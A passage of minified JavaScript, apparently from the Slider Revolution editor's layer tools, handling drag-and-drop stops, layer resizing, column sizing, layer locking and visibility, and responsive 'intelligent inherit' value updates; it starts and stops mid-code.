0}):RVS.F.clearSnapVisual())})}},stop:function(i,a){if("fullinset"!=RVS.L[e.uid].size.covermode){if(RVS.S.dragging=!1,"none"!==RVS.SLIDER.settings.snap.adjust&&RVS.F.clearSnapVisual(),RVS.C.slide[0].classList.remove("rel_layer_in_drag"),RVS.C.slide[0].classList.remove("abs_layer_in_drag"),tpGS.gsap.set(a.helper,{scale:1}),RVS.S.ulInner[0].classList.remove("dropSensorActive"),RVS.S.DaD.dropSensor=!1,c(),requestAnimationFrame(function(){RVS.F.hideMouseInfo()}),RVS.S.realDragHappen){var r=!0===RVS.animationMode?"frame":-1==RVS.S.DaD.fromContainerID&&void 0!==RVS.S.DaD.target&&"free"==RVS.S.DaD.target.into?"layermovement":"layersorting_layermovement";if(RVS.F.openBackupGroup({id:r,txt:!0!==RVS.animationMode?"Layer Position":"Frame Position",icon:"open_with"}),RVS.S.DaD.difh=0,RVS.S.DaD.difv=0,!0!==RVS.animationMode){if("group"===RVS.S.DaD.toContainerType&&RVS.S.DaD.toContainerID+""!=RVS.S.DaD.fromContainerID+""&&void 0!==RVS.L[RVS.S.DaD.parentID]){var s=!1;for(var o in RVS.V.sizes)RVS.V.sizes.hasOwnProperty(o)&&RVS.screen!=RVS.V.sizes[o]&&!0===RVS.SLIDER.settings.size.custom[RVS.V.sizes[o]]&&RVS.L[RVS.S.DaD.currentLayerId].position.x[RVS.V.sizes[o]].e&&(RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+RVS.S.DaD.currentLayerId+".position.x."+RVS.V.sizes[o]+".v",val:"0px",uid:RVS.S.DaD.currentLayerId}),RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+RVS.S.DaD.currentLayerId+".position.y."+RVS.V.sizes[o]+".v",val:"0px",uid:RVS.S.DaD.currentLayerId}),RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+RVS.S.DaD.currentLayerId+".position.x."+RVS.V.sizes[o]+".e",val:!1,uid:RVS.S.DaD.currentLayerId}),RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+RVS.S.DaD.currentLayerId+".position.y."+RVS.V.sizes[o]+".e",val:!1,uid:RVS.S.DaD.currentLayerId}),s=!0);s&&RVS.F.showInfo({content:RVS_LANG.noticepositionreseted,type:"goodtoknow",showdelay:0,hidedelay:2,hideon:"",event:""})}for(var n in RVS.F.updateHTMLLayerPosition({uid:RVS.S.DaD.currentLayerId,o:RVS.S.DaD.dragdelta,updateValues:!0,lhCwidth:RVS.H[RVS.S.DaD.currentLayerId].c_width,lhCheight:RVS.H[RVS.S.DaD.currentLayerId].c_height,snapToGrid:RVS.S.DaD.snapToGrid,snapToLayers:RVS.S.DaD.snapToLayers}),RVS.selLayers){if(RVS.selLayers.hasOwnProperty(n))(o=RVS.selLayers[n])!=RVS.S.DaD.currentLayerId&&RVS.F.updateHTMLLayerPosition({uid:o,o:RVS.S.DaD.dragdelta,updateValues:!0,lhCwidth:RVS.H[o].c_width,lhCheight:RVS.H[o].c_height,snapToGrid:RVS.S.DaD.snapToGrid,snapToLayers:RVS.S.DaD.snapToLayers})}}else RVS.S.DaD.frameOX_N&&RVS.F.backup({path:RVS.S.slideId+".layers."+RVS.S.DaD.currentLayerId+".timeline.frames."+RVS.S.keyFrame+".transform.x.#size#.v",lastkey:"v",val:RVS.L[RVS.S.DaD.currentLayerId].timeline.frames[RVS.S.keyFrame].transform.x[RVS.screen].v,old:RVS.S.DaD.frameOX}),RVS.S.DaD.frameOY_N&&RVS.F.backup({path:RVS.S.slideId+".layers."+RVS.S.DaD.currentLayerId+".timeline.frames."+RVS.S.keyFrame+".transform.y.#size#.v",lastkey:"v",val:RVS.L[RVS.S.DaD.currentLayerId].timeline.frames[RVS.S.keyFrame].transform.y[RVS.screen].v,old:RVS.S.DaD.frameOY});RVS.S.DaD.snapToGrid=!1,RVS.S.DaD.snapToLayers=!1,RVS.C.layergrid[0].classList.remove("layersInDragorResize"),!0!==RVS.animationMode&&function(){clearTimeout(RVS.S.DaD.timer);var e=void 0!==RVS.S.DaD.target?RVS.S.DaD.target.into:"free";if("column"===e||"group"===e){if(void 0!==RVS.S.DaD.target)if(void 0!==RVS.S.DaD.target.columnID&&("group"===RVS.S.DaD.target.columnType||void 0===RVS.S.DaD.target.elementID||"column"==RVS.S.DaD.target.columnType&&"absolute"==RVS.S.DaD.draggedPosType))if(RVS.S.DaD.target.columnTop||"absolute"==RVS.S.DaD.draggedPosType)if("group"!==RVS.S.DaD.target.columnType||RVS.S.DaD.fromContainerID!=RVS.S.DaD.target.columnID){var t={x:Math.round((RVS.S.DaD.clone.offset().left-RVS.S.DaD.dropParentPos.x)/RVS.zoom+RVS.S.DaD.scrolldiff.x),y:Math.round((RVS.S.DaD.clone.offset().top-RVS.S.DaD.dropParentPos.y)/RVS.zoom+RVS.S.DaD.scrolldiff.y)};if("column"===RVS.S.DaD.target.columnType)for(var i in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(i)&&("absolute"==RVS.S.DaD.draggedPosType&&"column"!==RVS.S.DaD.fromContainerType&&RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+RVS.selLayers[i]+".position.position",val:"relative",uid:RVS.selLayers[i]}),"text"===RVS.L[RVS.selLayers[i]].type))for(var a in RVS.V.sizes)RVS.V.sizes.hasOwnProperty(a)&&(RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+RVS.selLayers[i]+".idle.whiteSpace."+RVS.V.sizes[a]+".v",val:"full",uid:RVS.selLayers[i]}),-1==RVS.L[RVS.selLayers[i]].size.width[RVS.V.sizes[a]].v.indexOf("%")&&"auto"!==RVS.L[RVS.selLayers[i]].size.width[RVS.V.sizes[a]].v&&(null==RVS.S.DaD.target||RVS.S.DaD.fromContainerID!==RVS.S.DaD.target.columnID)&&RVS.H[RVS.S.DaD.target.columnID].w[0].offsetWidth<parseInt(RVS.L[RVS.selLayers[i]].size.width[RVS.V.sizes[a]].v,0)&&RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+RVS.selLayers[i]+".size.width."+RVS.V.sizes[a]+".v",val:"auto",uid:RVS.selLayers[i]}));"relative"!==RVS.L[RVS.S.DaD.currentLayerId].position.position?RVS.F.sortAllSelectedLayers({layer:RVS.S.DaD.currentLayerId,target:RVS.S.DaD.target.columnType,env:RVS.S.DaD.target.columnID,dropto:RVS.S.DaD.target.columnType,pospos:RVS.S.DaD.draggedPosType,resetPosition:t}):RVS.F.sortAllSelectedLayers({layer:RVS.S.DaD.currentLayerId,target:null==RVS.S.DaD.target.elementID?"firstingroup":RVS.S.DaD.target.elementBefore?"before":"after",env:void 0!==RVS.S.DaD.target.elementID?RVS.S.DaD.target.elementID:RVS.S.DaD.target.columnID,dropto:RVS.S.DaD.target.columnType})}else"relative"===RVS.L[RVS.S.DaD.currentLayerId].position.position&&RVS.F.sortAllSelectedLayers({layer:RVS.S.DaD.currentLayerId,target:null==RVS.S.DaD.target.elementID?"firstingroup":RVS.S.DaD.target.elementBefore?"before":"after",env:void 0!==RVS.S.DaD.target.elementID?RVS.S.DaD.target.elementID:RVS.S.DaD.target.columnID,dropto:RVS.S.DaD.target.columnType});else RVS.F.sortAllSelectedLayers({layer:RVS.S.DaD.currentLayerId,target:"columnend",env:RVS.S.DaD.target.columnID});else void 0!==RVS.S.DaD.target.elementID&&RVS.F.sortAllSelectedLayers({layer:RVS.S.DaD.currentLayerId,target:RVS.S.DaD.target.elementBefore?"before":"after",env:RVS.S.DaD.target.elementID})}else{if(RVS.L[RVS.S.DaD.currentLayerId].linebreak)return void RVS.F.showInfo({content:RVS_LANG.cantpulllinebreakoutside,type:"goodtoknow",showdelay:0,hidedelay:3,hideon:"",event:""});-1!==RVS.L[RVS.S.DaD.currentLayerId].group.puid&&RVS.F.sortAllSelectedLayers({layer:RVS.S.DaD.currentLayerId,target:"before",env:"top",dropto:"root",resetPosition:{x:RVS.S.DaD.startPos.x,y:RVS.S.DaD.startPos.y}})}}(),RVS.L[e.uid].position.position=-1==RVS.L[e.uid].group.puid?"absolute":RVS.L[e.uid].position.position,tpGS.gsap.set(t.w,{opacity:1}),RVS.F.closeBackupGroup({id:r})}else RVS.C.layergrid[0].classList.remove("layersInDragorResize"),tpGS.gsap.set(t.w,{opacity:1});RVS.F.selectedLayersVisualUpdate(),RVS.S.updateEsyInputsTimerMemory?(RVS.F.updateEasyInputs({container:jQuery(".layer_settings_collector"),path:RVS.S.slideId+".layers.",trigger:"init",multiselection:!0}),RVS.S.updateEsyInputsTimerMemory=!1):RVS.F.selectLayers({id:e.uid,overwrite:!0,action:"add",keepSelectedFrame:!0===RVS.animationMode}),RVS.F.updateLayerPositionClass(RVS.S.DaD.currentLayerId)}}}),e.resize&&t.w.resizable({handles:"n,s,w,e",start:function(t,i){RVS.F.stopAndPauseAllLayerAnimation(),RVS.F.showForms("*slidelayout**mode__slidecontent*#form_layer_position",!0),RVS.S.WWL=RVS.L[e.uid],RVS.S.lpv=RVS.S.WWL.position.vertical[RVS.screen].v,RVS.S.lph=RVS.S.WWL.position.horizontal[RVS.screen].v,RVS.S.WWHL=RVS.H[e.uid],RVS.C.layer_width=void 0===RVS.C.layer_width?jQuery("#layer_width"):RVS.C.layer_width,RVS.C.layer_height=void 0===RVS.C.layer_height?jQuery("#layer_height"):RVS.C.layer_height,RVS.C.layer_covermode=void 0===RVS.C.layer_covermode?jQuery("#layer_covermode"):RVS.C.layer_covermode,window.layertemp_width=window.layerneww=i.size.width,window.layertemp_height=window.layernewh=i.size.height,window.resizeDirection="none",RVS.F.setZindex({id:e.uid,o:475}),RVS.C.layergrid.addClass("layersInDragorResize"),"text"!==RVS.S.WWL.type&&"button"!==RVS.S.WWL.type||(window.layerclone=RVS.S.WWHL.w.clone(!1),window.layercloneinside=window.layerclone.find("._lc_content_").first(),RVS.C.slide.append(window.layerclone),tpGS.gsap.set(window.layerclone,{autoAlpha:0}))},resize:function(t,i){var a=window.layerneww!=Math.round(i.size.width)?"horizontal":"vertical";switch(window.layerneww=Math.round(i.size.width),window.layernewh=Math.round(i.size.height),RVS.S.WWL.type){case"text":case"button":tpGS.gsap.set([window.layercloneinside],{width:Math.round(i.size.width),height:"auto"}),("auto"===RVS.S.WWL.size.height[RVS.screen].v||window.layercloneinside.height()>Math.round(i.size.height))&&(window.layernewh=i.size.height="horizontal"===a?window.layercloneinside.outerHeight():Math.max(parseInt(i.size.height,0)||0,parseInt(window.layercloneinside.outerHeight(),0)||0))}if("none"!==RVS.S.WWL.size.minWidth[RVS.screen].v&&(window.layerneww=i.size.width=Math.max(window.layerneww,parseInt(RVS.S.WWL.size.minWidth[RVS.screen].v,0)||0)),"none"!==RVS.S.WWL.size.maxWidth[RVS.screen].v&&(window.layerneww=i.size.width=Math.min(window.layerneww,parseInt(RVS.S.WWL.size.maxWidth[RVS.screen].v,0)||0)),"none"!==RVS.S.WWL.size.minHeight[RVS.screen].v&&(window.layernewh=i.size.height=Math.max(window.layernewh,parseInt(RVS.S.WWL.size.minHeight[RVS.screen].v,0)||0)),"none"!==RVS.S.WWL.size.maxHeight[RVS.screen].v&&(window.layernewh=i.size.height=Math.min(window.layernewh,parseInt(RVS.S.WWL.size.maxHeight[RVS.screen].v,0)||0)),requestAnimationFrame(function(){RVS.F.showMouseInfo({html:"<div class='mouse_info_coor'><div><span class='mouselabel'>W</span><span class='mouseval'>"+window.layerneww+"</span></div><div><span class='mouselabel'>H</span><span class='mouseval'>"+window.layernewh+"</span></div></div><div class='mouse_info_align "+RVS.S.lph+" "+RVS.S.lpv+"'><span class='mia_tl'></span><span class='mia_tc'></span><span class='mia_tr'></span><span class='mia_ml'></span><span class='mia_mc'></span><span class='mia_mr'></span><span class='mia_bl'></span><span class='mia_bc'></span><span class='mia_br'></span></div>"})}),window.layertemp_width!=window.layerneww&&("none"===window.resizeDirection&&(window.resizeDirection="horizontal"),RVS.C.layer_width[0].value=window.layerneww+"px","fullwidth"!==RVS.L[e.uid].size.covermode&&"cover"!==RVS.L[e.uid].size.covermode&&"cover-proportional"!==RVS.L[e.uid].size.covermode||("custom"!==RVS.C.layer_covermode[0].value&&RVS.C.layer_covermode.val("custom").ddTP("change"),"cover"===RVS.L[e.uid].size.covermode||"cover-proportional"===RVS.L[e.uid].size.covermode?jQuery(".layersize_wrap").removeClass("disablecontainer"):jQuery(".layersize_wrap_width").removeClass("disablecontainer"))),window.layertemp_height!=window.layernewh&&("none"===window.resizeDirection&&(window.resizeDirection="vertical"),RVS.C.layer_height[0].value="video"===RVS.S.WWL.type&&"auto"===RVS.S.WWL.size.height[RVS.screen].v?"auto":window.layernewh+"px","fullheight"!==RVS.L[e.uid].size.covermode&&"cover"!==RVS.L[e.uid].size.covermode&&"cover-proportional"!==RVS.L[e.uid].size.covermode||("custom"!==RVS.C.layer_covermode[0].value&&RVS.C.layer_covermode.val("custom").ddTP("change"),"cover"===RVS.L[e.uid].size.covermode||"cover-proportional"===RVS.L[e.uid].size.covermode?jQuery(".layersize_wrap").removeClass("disablecontainer"):jQuery(".layersize_wrap_height").removeClass("disablecontainer"))),RVS.S.WWL.size.scaleProportional&&"auto"!==RVS.S.WWL.size.aspectRatio[RVS.screen].v&&"none"!==RVS.S.WWL.size.aspectRatio[RVS.screen].v&&("horizontal"===window.resizeDirection?window.layernewh=i.size.height=Math.round(window.layerneww/RVS.S.WWL.size.aspectRatio[RVS.screen].v):window.layerneww=i.size.width=Math.round(window.layernewh*RVS.S.WWL.size.aspectRatio[RVS.screen].v)),"video"===RVS.S.WWL.type&&"auto"===RVS.S.WWL.size.height[RVS.screen].v){var r=RVS.S.WWL.media.ratio.split(":");r=r[1]/r[0],i.size.height=window.layerneww*r}tpGS.gsap.set(RVS.H[e.uid].c,{width:window.layerneww,height:window.layernewh}),RVS.F.updateHTMLLayerPosition({uid:e.uid}),requestAnimationFrame(function(){var t=RVS.F.getLayerChildren({layerid:e.uid});for(var i in t)t.hasOwnProperty(i)&&RVS.F.updateHTMLLayerPosition({uid:i});RVS.F.updateMinSliderHeights()&&RVS.DOC.trigger("updatesliderlayout","layertools.js - 1893"),RVS.F.updateSharpCorners({uid:e.uid,resize:!0})})},stop:function(t,i){RVS.C.layergrid.removeClass("layersInDragorResize"),RVS.F.hideMouseInfo(),RVS.S.justresized=!0,RVS.F.openBackupGroup({id:"layerresize",txt:"Resize Layer",icon:"photo_size_select_large"}),"text"!==RVS.S.WWL.type&&"button"!==RVS.S.WWL.type||(window.layernewh=window.layercloneinside.height()===window.layernewh&&"text"==RVS.L[e.uid].type?"auto":window.layernewh,window.layerclone.remove()),window.layertemp_width!=window.layerneww&&(RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e.uid+".size.width.#size#.v",val:window.layerneww+"px",uid:e.uid}),"fullwidth"!==RVS.L[e.uid].size.covermode&&"cover"!==RVS.L[e.uid].size.covermode&&"cover-proportional"!==RVS.L[e.uid].size.covermode||RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e.uid+".size.covermode",val:"custom",uid:e.uid})),window.layertemp_height!=window.layernewh&&(RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e.uid+".size.height.#size#.v",val:"video"===RVS.S.WWL.type&&"auto"===RVS.S.WWL.size.height[RVS.screen].v?"auto":isNaN(window.layernewh)?window.layernewh:window.layernewh+"px",uid:e.uid}),"fullheight"!==RVS.L[e.uid].size.covermode&&"cover"!==RVS.L[e.uid].size.covermode&&"cover-proportional"!==RVS.L[e.uid].size.covermode||RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e.uid+".size.covermode",val:"custom",uid:e.uid})),RVS.F.closeBackupGroup({id:"layerresize"}),RVS.F.updateMinSliderHeights()&&RVS.DOC.trigger("updatesliderlayout","layertools.js - 1056"),setTimeout(function(){RVS.S.justresized=!1},100)}})},RVS.F.isParent=function(e,t,i){return void 0!==i?i:t==e||void 0!==RVS.L[t]&&void 0!==RVS.L[t].group&&-1!=RVS.L[t].group.puid&&(RVS.L[t].group.puid==e||RVS.F.isParent(e,RVS.L[t].group.puid,i))},RVS.F.figureColumnSizes=function(e){if(void 0!==e.plain&&(e.plain=RVS.F.sanitize_columns(e.plain),e.plain=0===e.plain.length||void 0===e.plain||""===e.plain?"1/2+1/2":e.plain,e.cols=e.temp=e.plain.split("+")),e.summ=0,-1===e.plain.indexOf("/"))if(e.cols=[],e.plain="",1==e.temp.length){var t=parseInt(e.temp[0],0);t=t>9?"9":t;for(var i=0;i<t;i++)e.plain.length>0&&(e.plain+="+"),e.plain+="1/"+t,e.cols.push("1/"+t)}else{var a=0;e.plain="";for(i=0;i<e.temp.length;i++)""!==e.temp[i]&&e.temp[i].length>0&&(a+=parseInt(e.temp[i],0));for(i=0;i<e.temp.length;i++)""!==e.temp[i]&&e.temp[i].length>0&&(e.plain.length>0&&(e.plain+="+"),e.plain+=e.temp[i]+"/"+a,e.cols.push(e.temp[i]+"/"+a))}var r;for(var s in e.cols)e.cols.hasOwnProperty(s)&&(r=RVS.F.convertFraction(e.cols[s]),e.summ+=100*r);return 100!==Math.round(e.summ)?jQuery("#row_column_structure").addClass("badvalue"):jQuery("#row_column_structure").removeClass("badvalue"),e},RVS.F.fixColumnsInRows=function(e){if(void 0!==RVS.L[e.layerid]&&"row"===RVS.L[e.layerid].type){var t=RVS.F.getColumnsInRow(e),i=0,a=[];for(var r in t)t.hasOwnProperty(r)&&(i=i+=100*RVS.F.convertFraction(RVS.L[t[r]].group.columnSize),a.push(RVS.L[t[r]].group.columnSize.split("/")));var s=t.length;if((i=99.99999999999999===i?100:i)<100){var o=100-i,n=t[t.length-1],l=RVS.L[n].group.columnSize,d=l.split("/"),S=o/(100*RVS.F.convertFraction(l)/parseInt(d[0],0)),c=parseInt(d[0],0)+parseInt(S,0)+"/"+d[1],p=RVS.S.slideId+".layers."+n+".group.columnSize";1===s?RVS.F.updateSliderObj({path:p,val:"1/1"}):RVS.F.updateSliderObj({path:p,val:c}),RVS.F.drawHTMLLayer({uid:n})}if(i>100){for(var r in t)t.hasOwnProperty(r)&&(a[r][0]=1,a[r][1]=s);for(var r in t)if(t.hasOwnProperty(r)){n=t[r],p=RVS.S.slideId+".layers."+n+".group.columnSize";RVS.F.updateSliderObj({path:p,val:a[r][0]+"/"+a[r][1]}),RVS.F.drawHTMLLayer({uid:n})}}}},RVS.F.checkLockedLayers=function(){for(var t in(e=void 0===e?{wrap:jQuery("#locked_layers_list"),switch:jQuery("#layer_lock_iconswitch")}:e).default=void 0===e.default?e.wrap[0].innerHTML:e.default,e.layers=[],RVS.L)RVS.L.hasOwnProperty(t)&&void 0!==RVS.L[t].visibility&&RVS.L[t].visibility.locked&&-1===jQuery.inArray(t,e.layers)&&e.layers.push(t);var i="";for(var a in e.layers)if(e.layers.hasOwnProperty(a)){var r=e.layers[a];if(void 0!==RVS.H[r]&&null!=RVS.H[r].w){RVS.H[r].w.addClass("_locked_");var s=document.getElementById("tllayerlist_element_"+RVS.S.slideId+"_"+r);-1===s.className.indexOf("_locked_")&&(s.className+=" _locked_",window.firstLockTest=void 0===window.firstLockTest?"change":window.firstLockTest),i+='<div data-uid="'+r+'" class="unlock_single_layer lockstep"><i class="material-icons">lock_open</i>'+RVS.L[r].alias+"</div>"}}i=e.default+i,e.wrap[0].innerHTML=i},RVS.F.lockUnlockLayer=function(e){if(e.val=void 0===e.val?!RVS.L[e.uid].visibility.locked:e.val,RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e.uid+".visibility.locked",val:e.val}),!1===e.val&&RVS.H[e.uid].w[0].className.indexOf("_locked_")>=0){RVS.H[e.uid].w.removeClass("_locked_");var t=document.getElementById("tllayerlist_element_"+RVS.S.slideId+"_"+e.uid);t.className=t.className.replace(" _locked_","")}},RVS.F.lockUnlockLayers=function(e){for(var t in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(t)){var i=void 0!==e&&void 0!==e.val?e.val:!RVS.L[RVS.selLayers[t]].visibility.locked;RVS.F.lockUnlockLayer({uid:RVS.selLayers[t],val:i})}RVS.F.checkLockedLayers()},RVS.F.checkShowHideLayers=function(){for(var e in(t=void 0===t?{wrap:jQuery("#unvisible_layers_list"),switch:jQuery("#layer_visibility_iconswitch")}:t).default=void 0===t.default?t.wrap[0].innerHTML:t.default,t.layers=[],RVS.L)RVS.L.hasOwnProperty(e)&&void 0!==RVS.L[e].visibility&&!1===RVS.L[e].visibility.visible&&-1===jQuery.inArray(e,t.layers)&&t.layers.push(e);var i="";for(var a in t.layers)if(t.layers.hasOwnProperty(a)){var r=t.layers[a];if(void 0!==RVS.H[r]&&null!=RVS.H[r].w){RVS.H[r].w.addClass("_unvisible_");var s=document.getElementById("tllayerlist_element_"+RVS.S.slideId+"_"+r);-1===s.className.indexOf("_unvisible_")&&(s.className+=" _unvisible_",window.firstLockTest=void 0===window.firstLockTest?"change":window.firstLockTest),i+='<div data-uid="'+r+'" class="visible_single_layer visiblestep"><i class="material-icons">visibility</i>'+RVS.L[r].alias+"</div>"}}i=t.default+i,t.wrap[0].innerHTML=i},RVS.F.showHideLayer=function(e){if(void 0===e.val&&(e.val=!RVS.L[e.uid].visibility.visible),RVS.F.updateSliderObj({ignoreBackup:e.ignoreBackup,path:RVS.S.slideId+".layers."+e.uid+".visibility.visible",val:e.val}),!0===e.val&&RVS.H[e.uid].w[0].className.indexOf("_unvisible_")>=0){RVS.H[e.uid].w.removeClass("_unvisible_");var t=document.getElementById("tllayerlist_element_"+RVS.S.slideId+"_"+e.uid);t.className=t.className.replace(" _unvisible_","")}},RVS.F.showHideLayers=function(e){for(var t in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(t)){var i=void 0!==e&&void 0!==e.val?e.val:!RVS.L[RVS.selLayers[t]].visibility.visible;RVS.F.showHideLayer({uid:RVS.selLayers[t],val:i})}RVS.F.checkShowHideLayers()},RVS.F.updateColumnBreaksChildren=function(){for(var e in RVS.L)RVS.L.hasOwnProperty(e)&&"column"===RVS.L[e].type&&(RVS.L[e].group.columnbreakat=RVS.L[RVS.L[e].group.puid].group.columnbreakat)},RVS.F.isIntelligentInherited=function(e,t){return void 0!==t?void 0!==RVS.SLIDER[t].layers[e]&&RVS.SLIDER[t].layers[e].behavior.intelligentInherit:void 0!==RVS.L[e]&&RVS.L[e].behavior.intelligentInherit},RVS.F.inntelligentRespAttrExtend=function(e){i.push(e)},RVS.F.setToIntelligentUpdate=function(e){RVS.F.updateScreenShrinks();var t=e?"Reset All values to Intelligent Values":"Enable Intelligent Inherit";for(var a in RVS.F.openBackupGroup({id:"IntelligentInherit",txt:t,icon:"important_devices",lastkey:"layer"}),RVS.selLayers)if(RVS.selLayers.hasOwnProperty(a)){for(var r in i)i.hasOwnProperty(r)&&RVS.F.intelligentUpdate({calcShrink:!1,key:i[r],index:"v",uid:RVS.selLayers[a],backup:!0,notEdited:e,reset:e});for(var s=0;s<4;s++)RVS.F.intelligentUpdate({calcShrink:!1,key:"padding",index:s,uid:RVS.selLayers[a],backup:!0,notEdited:e,reset:e}),RVS.F.intelligentUpdate({calcShrink:!1,key:"margin",index:s,uid:RVS.selLayers[a],backup:!0,notEdited:e,reset:e});RVS.F.updateSliderObj({ignoreResponsive:!0,path:RVS.S.slideId+".layers."+RVS.selLayers[a]+".behavior.intelligentInherit",val:!0})}RVS.F.closeBackupGroup({id:"IntelligentInherit"}),RVS.DOC.trigger("sliderSizeChanged")},RVS.F.intelligentUpdateValuesOnLayer=function(e){if(RVS.L[e].behavior.intelligentInherit){for(var t in i)i.hasOwnProperty(t)&&RVS.F.intelligentUpdate({calcShrink:!1,key:i[t],index:"v",uid:e,backup:!1,notEdited:!0,reset:!0});for(var a=0;a<4;a++)RVS.F.intelligentUpdate({calcShrink:!1,key:"padding",index:a,uid:e,backup:!1,notEdited:!0,reset:!0}),RVS.F.intelligentUpdate({calcShrink:!1,key:"margin",index:a,uid:e,backup:!1,notEdited:!0,reset:!0})}},RVS.F.updateAllInheritedSize=function(){RVS.S.updatingAllInheritedSizeCounter=void 0===RVS.S.updatingAllInheritedSizeCounter?0:RVS.S.updatingAllInheritedSizeCounter,!0!==RVS.S.updatingAllInheritedSize&&RVS.S.updatingAllInheritedSizeCounter>0&&(RVS.S.updatingAllInheritedSize=!0,requestAnimationFrame(function(){for(var e in RVS.F.updateScreenShrinks(),RVS.L)if(RVS.L.hasOwnProperty(e)&&"zone"!==RVS.L[e].type&&RVS.L[e].behavior.intelligentInherit){for(var t in i)i.hasOwnProperty(t)&&RVS.F.intelligentUpdate({calcShrink:!1,key:i[t],index:"v",uid:RVS.L[e].uid});for(var a=0;a<4;a++)RVS.F.intelligentUpdate({calcShrink:!1,key:"padding",index:a,uid:RVS.L[e].uid}),RVS.F.intelligentUpdate({calcShrink:!1,key:"margin",index:a,uid:RVS.L[e].uid})}RVS.F.drawHTMLLayers(),RVS.F.closeBackupGroup({id:"IntelligentInherit"}),RVS.S.updatingAllInheritedSize=!1})),RVS.S.updatingAllInheritedSizeCounter++},RVS.F.disableIntelligentUpdate=function(){for(var e in RVS.F.openBackupGroup({id:"DIntelligentInherit",txt:"Disable Intelligent Inherit",icon:"important_devices",lastkey:"layer"}),RVS.selLayers)RVS.selLayers.hasOwnProperty(e)&&RVS.F.updateSliderObj({ignoreResponsive:!0,path:RVS.S.slideId+".layers."+RVS.selLayers[e]+".behavior.intelligentInherit",val:!1});RVS.F.closeBackupGroup({id:"DIntelligentInherit"})},RVS.F.resetLayersDeviceSizesToDesktop=function(){for(var e in RVS.F.openBackupGroup({id:"desktopValueReset",txt:"Reset Values to Dekstop",icon:"important_devices",lastkey:"layer"}),RVS.selLayers)if(RVS.selLayers.hasOwnProperty(e)){for(var t in i)i.hasOwnProperty(t)&&RVS.F.intelligentUpdate({calcShrink:!1,key:i[t],index:"v",uid:RVS.selLayers[e],backup:!0,allToOne:!0,notEdited:!0});for(var a=0;a<4;a++)RVS.F.intelligentUpdate({calcShrink:!1,key:"padding",index:a,uid:RVS.selLayers[e],backup:!0,allToOne:!0,notEdited:!0}),RVS.F.intelligentUpdate({calcShrink:!1,key:"margin",index:a,uid:RVS.selLayers[e],backup:!0,allToOne:!0,notEdited:!0})}for(var r in RVS.F.closeBackupGroup({id:"desktopValueReset"}),RVS.selLayers)RVS.selLayers.hasOwnProperty(r)&&RVS.F.drawHTMLLayer({uid:RVS.selLayers[r]})},RVS.F.resetIntelligentInherits=function(){RVS.F.setToIntelligentUpdate(!0)},RVS.F.iUHelp=function(e){var t=e.l[RVS.V.sizes[0]].v,i=1;if(null!==t)for(var a=0;a<=3;a++){var r=RVS.F.isNumeric(t)?"":t.indexOf("%")>=0?"%":"px",s="inherit"===t||!RVS.F.isNumeric(t)&&(t.indexOf("{")>=0||t.indexOf("[")>=0||jQuery.inArray(t,["top","left","bottom","right","center","middle"])>=0||"#"==t[0]&&"/"==t[2]&&"#"==t[4]);i=e.iii?RVS.S.shrink[RVS.V.sizes[a]]:i,e.allToOne||(t=e.reset||!e.l[RVS.V.sizes[a]].e?e.shrink?s||"auto"===t||!RVS.F.isNumeric(t)&&t.indexOf("%")>=0?t:parseInt(t,0)*i:t:e.number&&!s&&"auto"!==t?parseInt(e.l[RVS.V.sizes[a]].v,0):e.l[RVS.V.sizes[a]].v);var o=e.allToOne?t:!e.reset&&e.l[RVS.V.sizes[a]].e?e.l[RVS.V.sizes[a]].v:e.number?"auto"===t||s?t:void 0!==e.minValue?Math.max(e.minValue,Math.round(parseInt(t,0))):Math.round(parseInt(t,0)):t;r="auto"!==o&&RVS.F.isNumeric(o)?r:"",e.backup?(RVS.F.updateSliderObj({ignoreResponsive:!0,path:RVS.S.slideId+".layers."+e.p+RVS.V.sizes[a]+".v",val:o+r}),e.notEdited&&RVS.F.updateSliderObj({ignoreResponsive:!0,path:RVS.S.slideId+".layers."+e.p+RVS.V.sizes[a]+".e",val:!1})):(e.l[RVS.V.sizes[a]].v=o+r,e.notEdited&&(e.l[RVS.V.sizes[a]].e=!1)),t=o+r}},RVS.F.intelligentUpdate=function(e){e.calcShrink&&RVS.F.updateScreenShrinks(),RVS.S.respInfoBar.visible&&RVS.F.showFieldResponsiveValues(),e.iii=void 0===e.iii||e.iii;var t=void 0!==e.slide?RVS.SLIDER[e.slide].layers:RVS.L;switch(e.key){case"viewPortArea":e.l=RVS.SLIDER.settings.general.slideshow.viewPortArea,e.minValue=-1500,e.useSuffix=!0,e.number=!0,e.shrink=!0,RVS.F.iUHelp(e);break;case"horizontal":case"vertical":case"y":case"x":if(e.l=t[e.uid].position[e.key],e.p=e.uid+".position."+e.key+".","x"===e.key||"y"===e.key)for(var i in e.number=!0,e.shrink=!0,RVS.F.iUHelp(e),t[e.uid].timeline.frames)t[e.uid].timeline.frames.hasOwnProperty(i)&&(e.l=t[e.uid].timeline.frames[i].transform[e.key],e.p=e.uid+".timeline.frames."+i+".transform."+e.key+".",RVS.F.iUHelp(e),e.l=t[e.uid].timeline.frames[i].mask[e.key],e.p=e.uid+".timeline.frames."+i+".mask."+e.key+".",RVS.F.iUHelp(e),e.l=t[e.uid].timeline.frames[i].chars[e.key],e.p=e.uid+".timeline.frames."+i+".chars."+e.key+".",RVS.F.iUHelp(e),e.l=t[e.uid].timeline.frames[i].words[e.key],e.p=e.uid+".timeline.frames."+i+".words."+e.key+".",RVS.F.iUHelp(e),e.l=t[e.uid].timeline.frames[i].lines[e.key],e.p=e.uid+".timeline.frames."+i+".lines."+e.key+".",RVS.F.iUHelp(e));else 